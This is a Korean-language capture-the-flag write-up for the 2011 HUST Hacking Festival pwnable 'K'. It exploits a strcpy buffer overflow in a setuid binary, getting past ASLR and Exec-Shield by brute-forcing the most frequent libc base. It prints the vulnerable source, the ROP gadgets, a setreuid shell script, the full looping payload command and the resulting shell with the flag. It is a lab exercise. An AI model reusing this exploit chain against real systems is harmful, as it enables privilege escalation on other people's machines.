CTF

2011 HUST Hacking Festival - K

pwn3r_45 2011. 10. 3. 19:24
Category : Pwnables

NULL

Summary : buffer overflow , bypassing ASLR with the most repeated address

Server Info

[whatthe@k1rha .pwn3r]$ uname -a
Linux k1rha 2.6.35.14-96.fc14.i686 #1 SMP Thu Sep 1 12:49:38 UTC 2011 i686 i686 i386 GNU/Linux

서버환경은 fedora 14이고 ASLR과 Exec-Shield가 enable되어있다.

[anomy@k1rha .pwn3r]$ cat /proc/sys/kernel/randomize_va_space
1
[anomy@k1rha .pwn3r]$ cat /proc/sys/kernel/exec-shield
1


홈디렉토리에 주어진 file은 gotroot user의 setuid가 걸린 파일 ping2와 ping2.c이다.

#include<stdio.h>
#include<string.h>
#include<stdlib.h>

extern char **environ;
int main(int argc,char* argv[]){

 
 char buff[100];


 if(argc<2){
  printf("Usage : ./[file] [argv]\n");
 }
 else{
  strcpy(buff,argv[1]);  // Vuln!!
  printf("%s\n",buff);
  system("ls"); 
 }
}


ping이라는 파일명과는 전혀 무관한 동작을 한다.
argc가 2이상이라면 strcpy를 호출해서 argv[1]을 지역변수에 복사하기때문에 overflow취약점이 발생한다.

코드는 매우 간결하지만 , ASLR과 Exec-shield가 걸려있기때문에 공격에 약간의 어려움이 있다.
효율성을 위해 , ASLR이 걸려있어도 출현빈도가 높은주소가 있다는 점을 이용할 수 있다. 
(해커스쿨 멍멍님의 codegate vuln300풀이 참고 : http://www.hackerschool.org/Sub_Html/HS_University/CTF/Codegate/2011/vuln300/vuln300.html)
ldd를 이용해 출현빈도를 확인해본다.


.........................................
.........................................
      1 /lib/ld-linux.so.2 (0x00fdc000)
      2 /lib/ld-linux.so.2 (0x00fdd000)
      2 /lib/ld-linux.so.2 (0x00fde000)
      7 /lib/ld-linux.so.2 (0x00fdf000)
      1 /lib/ld-linux.so.2 (0x00fe0000)
      1 /lib/ld-linux.so.2 (0x00fe1000)
      1 /lib/ld-linux.so.2 (0x00fe2000)
      2 /lib/ld-linux.so.2 (0x00fe3000)
  1093 libc.so.6 => /lib/libc.so.6 (0x00110000)
      2 libc.so.6 => /lib/libc.so.6 (0x00111000)
      1 libc.so.6 => /lib/libc.so.6 (0x00112000)
      5 libc.so.6 => /lib/libc.so.6 (0x00113000)
      4 libc.so.6 => /lib/libc.so.6 (0x00114000)
      3 libc.so.6 => /lib/libc.so.6 (0x00115000)
      2 libc.so.6 => /lib/libc.so.6 (0x00116000)
      2 libc.so.6 => /lib/libc.so.6 (0x00117000)
      1 libc.so.6 => /lib/libc.so.6 (0x00118000)
.........................................
.........................................

0x00110000의 빈도가 특출나게높다. (상당히 오래 돌렸기때문)
따라서 RTL공격으로 한번에 성공은 못하더라도 높은 확률로 공격에 성공할 수 있다.

그런데 리턴어드레스에 실행계열함수의 주소를 넣어주더라도 ascii armor때문에 인자를 이어서 넣어줄수가없다.

  0x00149d85 <do_system+1125>: mov    %eax,(%esp)
  0x00149d88 <do_system+1128>: call  0x1ac370 <execve>

하지만 exec계열 함수나 do_system함수에 존재하는 위의 코드를 이용할 수 있다.

위 코드는 do_system@libc내부에 있는코드인데 %eax에 있는값을 execve함수의 첫번째 인자로 사용하여 호출한다.
그런데 strcpy함수의 리턴값이 덮여진 메모리의 주소이기 때문에 strcpy@plt 로 원하는 문자열을 writable한 공간에 복사해주고 코드로 리턴시키면 strcpy가 덮어준 공간에 있는 문자열이 execve함수의 첫번째 인자로써 사용된다.

[whatthe@k1rha .pwn3r]$ objdump -d /lib/libc.so.6 | grep do_system
00039920 <do_system>:
.........................................
......................................... 

[whatthe@k1rha ~]$ readelf -S ping2| grep .bss
  [25] .bss              NOBITS          08049704 000704 000008 00  WA  0  0  4 // writable space

[whatthe@k1rha .pwn3r]$ objdump -d ~/ping2|grep ret
 8048303: c3                  ret // for lifting stack

(gdb) x/3i 0x080484d7
  0x80484d7 <__libc_csu_init+87>: pop    %edi // pop - pop - ret for call chaining
  0x80484d8 <__libc_csu_init+88>: pop    %ebp
  0x80484d9 <__libc_csu_init+89>: ret 

(qdb) x/s 0x8048154 
  0x8048154:  "GNU" // argument for strcpy (it will finally be used to execve("GNU",NULL,NULL);)

/lib/libc.so.6에서 do_system의 주소는 0x39920이므로 base address를 출현빈도가 가장높은 0x00110000으로 잡았을때 , do_system + 1125 주소는 0x1ac7bd이다.
execve함수의 첫번째를 제외한 이중포인터가 아니면 제대로 실행되지 않으므로 NULL로 맞춰주기위해 ret 명령이 있는주소를 잔뜩 넣어준다.


[whatthe@k1rha .pwn3r]$ cat sh.py
#!/usr/bin/python

import os

os.setreuid(os.geteuid(),os.geteuid())
os.execv("/bin/sh",["sh"])

[whatthe@k1rha .pwn3r]$ ln -s sh.py GNU
[whatthe@k1rha .pwn3r]$ while [ 1 ] ; do ~/ping2 `python -c 'print "a"*112+"\x03\x83\x04\x08"*150+"\x44\x83\x04\x08"+"\xd7\x84\x04\x08"+"\x14\x97\x04\x08"+"\x54\x81\x04\x08"+"\xbd\xc7\x1a"'` ; done

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒDƒׄ—T½Ś
GNU  rest.txt  sh.py  shell.c
sh-4.1$ id
uid=503(gotroot) gid=502(whatthe) groups=503(gotroot),502(whatthe) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.1$ cd /home/gotroot
sh-4.1$ ls
keyvalueresult
sh-4.1$ cat keyvalueresult
wantedGirlfriend


Flag : wantedGirlfriend